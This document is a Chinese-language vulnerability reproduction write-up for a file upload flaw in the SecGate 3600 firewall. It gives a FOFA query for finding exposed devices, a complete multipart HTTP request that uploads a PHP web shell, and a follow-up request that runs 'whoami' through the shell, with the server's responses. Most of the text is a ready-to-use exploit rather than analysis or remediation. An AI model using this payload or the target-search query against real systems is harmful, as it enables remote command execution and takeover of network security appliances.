Q1-9奇安信-网神SecSSL3600-文件上传

漏洞描述：

网神SecGate 3600防火墙obj_area_import_save、app_av_import_save、sec_web_auth_custom_setting_confsave存在文件上传漏洞，攻击者可以通过该漏洞获取服务器控制权限。

网站图片：

网络测绘：

fofa语法：

FOFA：title="网神SecGate 3600防火墙"

漏洞复现：

payload：

```
POST /?g=sec_web_auth_custom_setting_confsave HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
Connection: close

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile";filename="a.php"
Content-Type: text/plain

<?php system($_POST['cmd']);unlink(__FILE__);?>
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

sec_web_auth_custom_setting_confsave
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile_r"

file
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

效果图:

Request

数据包扫描 热加载 构造请求

```
POST /?g=sec_web_auth_custom_setting_confsave HTTP/1.1
Host : [redacted]
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
Connection: close

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile";filename="a.php"
Content-Type: text/plain

<?php system($_POST['cmd']);unlink(__FILE__);?>
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

sec_web_auth_custom_setting_confsave
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile_r"

file
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

Responses https 7444bytes / 116ms

```
HTTP/1.1 200 OK
Expires: Mon, 26 Jul 1997 05:0
Cache-Control: no-cache, must-
Pragma: no-cache
Content-type: text/html; chars
Connection: close
Date: Tue, 12 Dec 2023 18:48:2
Content-Length: 7444
```

命令执行

Request

数据包扫描 热加载 构造请求

```
POST /attachements/a.php HTTP/1.1
Host : [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

cmd=whoami
```

Responses https

```
HTTP/1.1
Content-
Connecti
Date: Tu
Content-

apache
```